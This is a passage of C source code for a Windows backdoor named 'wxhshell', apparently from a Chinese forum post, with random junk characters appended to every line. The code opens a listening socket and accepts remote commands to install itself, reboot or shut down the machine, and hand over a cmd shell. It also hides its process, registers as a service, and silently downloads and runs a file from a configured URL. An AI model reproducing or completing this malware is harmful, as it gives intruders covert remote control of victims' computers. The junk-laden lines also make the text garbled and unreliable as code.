  } _WXtB#  
  else { u VyGk~  
2owEw*5jl/  
    switch(cmd[0]) { o]:3H8  
  o6 E!IX+  
  // 帮助  Jc&y9]  
  case '?': { lKZB?Kk^w\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s, k  
    break; LJk%#yV|_  
  } &F STpBu  
  // 安装 %1}K""/  
  case 'i': { D(-yjY8aG  
    if(Install()) 4SPy28<f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h.O$]:N  
    else =0uAE7q(9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !$N<ds.  
    break; EnOU?D  
    } 9$`lIy@B  
  // 卸载 AL#4_]m'  
  case 'r': { bwiPS1+);  
    if(Uninstall()) l2N]a9bq@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iY"l}.7)  
    else \%^%wXfp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]BR,M4   
    break; U!U$x74D5  
    } sBrI}[oyx  
  // 显示 wxhshell 所在路径 ?T+q/lt4  
  case 'p': { ZaNQpH.  
    char svExeFile[MAX_PATH]; U- )i+}Ng  
    strcpy(svExeFile,"\n\r"); {43>m)8+  
      strcat(svExeFile,ExeFile); Y%`xDI  
        send(wsh,svExeFile,strlen(svExeFile),0); b[V^86X^  
    break; A\8}|r(>9E  
    } K2%w0ohC  
  // 重启 P(F+f `T  
  case 'b': { |$5[(6T|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #9K-7je;j  
    if(Boot(REBOOT)) ME'|saP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Zi@A4Wu  
    else { k'0Pi6  
    closesocket(wsh); 6G=j6gK%P  
    ExitThread(0); M1KqY:9E  
    } xhcK~5C  
    break; (?nCy HC%g  
    } _h}kp\sps  
  // 关机 ^Q+g({  
  case 'd': { /0Ax*919j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c("_bOAT  
    if(Boot(SHUTDOWN)) S)D nPjN{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pb~pN  
    else { +TXX$)3%  
    closesocket(wsh); KtNY_&xd  
    ExitThread(0); )7h$G-fe  
    } rRFhGQq1m  
    break; D_vbSF)  
    } itC-4^  
  // 获取shell Ja9e^`i;  
  case 's': { D 9M:^  
    CmdShell(wsh); qvPtyc^fN  
    closesocket(wsh); M![J2=  
    ExitThread(0); BCA&mi3q  
    break; fkac_X$7  
  } o"*AtGR+"  
  // 退出 812$`5l  
  case 'x': { t.;LnrY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~?(N  
    CloseIt(wsh); -\C!I  
    break; i-6 Z"b{  
    } ~c\e'&sc;  
  // 离开 RsYU59_Y  
  case 'q': { .0es 3Rj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p|!  
    closesocket(wsh); 6Oy$gW)  
    WSACleanup(); )rC6*eR  
    exit(1); r(P(Rj2~  
    break; lv04g} W  
        } @Z12CrJ  
  }  P Y  
  } t2)rUWg  
5k.oW=  
  // 提示信息 P?k0zwOlBl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]UmFhBR-  
} sIy^m}02  
  } >6?__v]9G  
62zYRs\Y)X  
  return; 1u:< 25  
} =|Y,+/R?  
}"|K(hq  
// shell模块句柄 K57&yVX  
int CmdShell(SOCKET sock) qw^uPs7Uw  
{ adR)Uq9  
STARTUPINFO si; ]iUx p+  
ZeroMemory(&si,sizeof(si)); h 5^Z2:#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a*&B`77`|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JT!9\i  
PROCESS_INFORMATION ProcessInfo; sr{a(4*\  
char cmdline[]="cmd"; 6}!#;@D~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *+#8mA(  
  return 0; ,=[?yJy  
} `9BROZnq  
o6uJyCO  
// 自身启动模式 ~GZY5HF  
int StartFromService(void) ):[7E(F=  
{ rp ;b" q  
typedef struct }F#okU  
{ ,Pdf,2  
  DWORD ExitStatus; uo@n(>}EL  
  DWORD PebBaseAddress; vwxXgk  
  DWORD AffinityMask; GJ_7h_4  
  DWORD BasePriority; QD0"rxZJ  
  ULONG UniqueProcessId; ?M\{&mlF  
  ULONG InheritedFromUniqueProcessId; *=V~YF:Qb  
}   PROCESS_BASIC_INFORMATION; # mV{#B=  
9[.8cg*  
PROCNTQSIP NtQueryInformationProcess; >LOjV0K/  
f}9zgWU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f,kZ\Ia'r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @}}$zv6l,  
;6>2"{NW  
  HANDLE             hProcess; ]7Tkkw$  
  PROCESS_BASIC_INFORMATION pbi; YTUZoW2  
7+\+DujE$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =4FXBPoQK  
  if(NULL == hInst ) return 0; ;wz^gdh;  
Utnr5^].2O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WE:24b6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R}*_~7r5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8Dj c c z  
*%%g{ 3$  
  if (!NtQueryInformationProcess) return 0; X:vghOt?  
w5Y04J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7/I,HxXp!  
  if(!hProcess) return 0; ;V*l.gr'2  
&m-PC(W+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E2R&[Q"%  
6ZP(E^.  
  CloseHandle(hProcess); {xXsBh Y  
>n'o*gZM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1H6<[iHW  
if(hProcess==NULL) return 0; "@iK' c^  
l`#4KCL(  
HMODULE hMod; pKpUXfQu  
char procName[255]; X-K=!pET  
unsigned long cbNeeded; w n/_}]T  
L~lxXTG\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _Xk.p_uh  
1g8_Xe4  
  CloseHandle(hProcess); nn@-W]  
"_-Po^u=r  
if(strstr(procName,"services")) return 1; // 以服务启动 Azl&mu  
n"G&ENN"$  
  return 0; // 注册表启动 }`% *W`9b  
} J&W)(Cf  
3@dL /x4A  
// 主模块 v0z5j6)-1  
int StartWxhshell(LPSTR lpCmdLine) vHry&#Pl+  
{ }$SavB#SBP  
  SOCKET wsl; k_ & :24Lj  
BOOL val=TRUE; mr*JJF0Z  
  int port=0; ON=@ O  
  struct sockaddr_in door; [q?<Qe  
,|y:" s  
  if(wscfg.ws_autoins) Install(); WrQDX3  
o<BOYrS  
port=atoi(lpCmdLine); ?!A7rb/tj  
YIoQL}pX  
if(port<=0) port=wscfg.ws_port; GpY"f c%  
w$zu~/qV2  
  WSADATA data; 6#7Lm) g8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m$}R%  
KL1/^1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \^L`7cBL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8 OY3A  
  door.sin_family = AF_INET; EofymAi%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >,gg5<F-E  
  door.sin_port = htons(port); x@P y>f2  
$PTP/^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m0ER@BXRn  
closesocket(wsl); EMwS1~3dD  
return 1; ! h"Kq>9 T  
} ,J,/."Y  
1+szG1U=  
  if(listen(wsl,2) == INVALID_SOCKET) { = RA /  
closesocket(wsl); b6nsg|&#  
return 1; Uc7mOa}4  
} n0r+A^]  
  Wxhshell(wsl); (eI5_`'VC  
  WSACleanup(); OK[T3/v,  
^t` k0<  
return 0; -lbm* -(  
XG{{ 2f  
} $$|rrG  
F, W~,y  
// 以NT服务方式启动 TSTl+W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]zj9A]i:a  
{ )97SnCkal  
DWORD   status = 0; `eE&5.   
  DWORD   specificError = 0xfffffff; Y-kt.X/Z-  
X 0WJBEE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Sg&UagBj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^o^H3m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6t>.[Y"v  
  serviceStatus.dwWin32ExitCode     = 0; D>/0v8  
  serviceStatus.dwServiceSpecificExitCode = 0; LLk(l#K*  
  serviceStatus.dwCheckPoint       = 0; 77C'*tt1]  
  serviceStatus.dwWaitHint       = 0; K&POyOvT  
e- :yb^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7S '% E  
  if (hServiceStatusHandle==0) return; W5EDVP ur  
mg^I=kpk  
status = GetLastError(); ~zHjMo2  
  if (status!=NO_ERROR) S^-DK~Xt4  
{ 0Vlk;fIh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Lm*e5JnV  
    serviceStatus.dwCheckPoint       = 0; F"&~*m^+  
    serviceStatus.dwWaitHint       = 0; ]NUl9t*N4  
    serviceStatus.dwWin32ExitCode     = status; JlH&??  
    serviceStatus.dwServiceSpecificExitCode = specificError; K(q+ "  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]$ L|  
    return; 'n{Nvt.c  
  } 7&t-pv92*  
<'qeXgi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !nqUBa  
  serviceStatus.dwCheckPoint       = 0; ykl .1(  
  serviceStatus.dwWaitHint       = 0; rSZd!OQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'FqQzx"r  
} LxYrl-  
}SX,^|eN  
// 处理NT服务事件,比如:启动、停止 pXrFljoYl[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F<n3  
{ ,F79xx9ufg  
switch(fdwControl) U &C!}  
{ n!YKz"$  
case SERVICE_CONTROL_STOP: <v)1<*I  
  serviceStatus.dwWin32ExitCode = 0; [b 6R%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1pt%Kw*@j  
  serviceStatus.dwCheckPoint   = 0; {K+i cTL3  
  serviceStatus.dwWaitHint     = 0; (KFCs^x7wG  
  { C<NLE-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o C<.=2]  
  } g<l1zo`_  
  return; f$+,HB  
case SERVICE_CONTROL_PAUSE: 9{RB{<Se!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }p}[j t  
  break; I9/W;# *~  
case SERVICE_CONTROL_CONTINUE: ?{/4b:ua  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; / : L?~  
  break; u?4:H=;>  
case SERVICE_CONTROL_INTERROGATE: d:#yEC  
  break; _2h S";K  
}; ti5mIW\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GC>e26\:  
} 2Z-ljD&  
!Y$h"<M  
// 标准应用程序主函数 LgKaPg$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _Tf4WFu2  
{ /M|2 62%  
k jg~n9#T  
// 获取操作系统版本 K?[q% W]%  
OsIsNt=GetOsVer(); xDG2ws=@D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); + fC=UAZ  
@LS@cCC,a  
  // 从命令行安装 /RNIIY~w  
  if(strpbrk(lpCmdLine,"iI")) Install(); kW *f.!  
tQ8.f  
  // 下载执行文件 695V3R 7  
if(wscfg.ws_downexe) { v'U{/ ,x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) % 5m/  
  WinExec(wscfg.ws_filenam,SW_HIDE); qAAX;N  
} z>XrU>}  
ruc++@ J@  
if(!OsIsNt) { xAK6pDp  
// 如果时win9x,隐藏进程并且设置为注册表启动 lt ^GvWg  
HideProc(); FoNSM$x  
StartWxhshell(lpCmdLine); ABQa 3{v  
} OjFLPGRCh  
else nH`Q#ZFz]?  
  if(StartFromService()) T V<'8 L  
  // 以服务方式启动 R%{ a1r>9h  
  StartServiceCtrlDispatcher(DispatchTable); Rtb7|  
else K@sV\"U(*E  
  // 普通方式启动 ,24p%KJ*X  
  StartWxhshell(lpCmdLine); }@;ep&b*  
UELy"z R  
return 0; x,rlrxI  
}
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只看该作者 1 发表于: 2006-10-10
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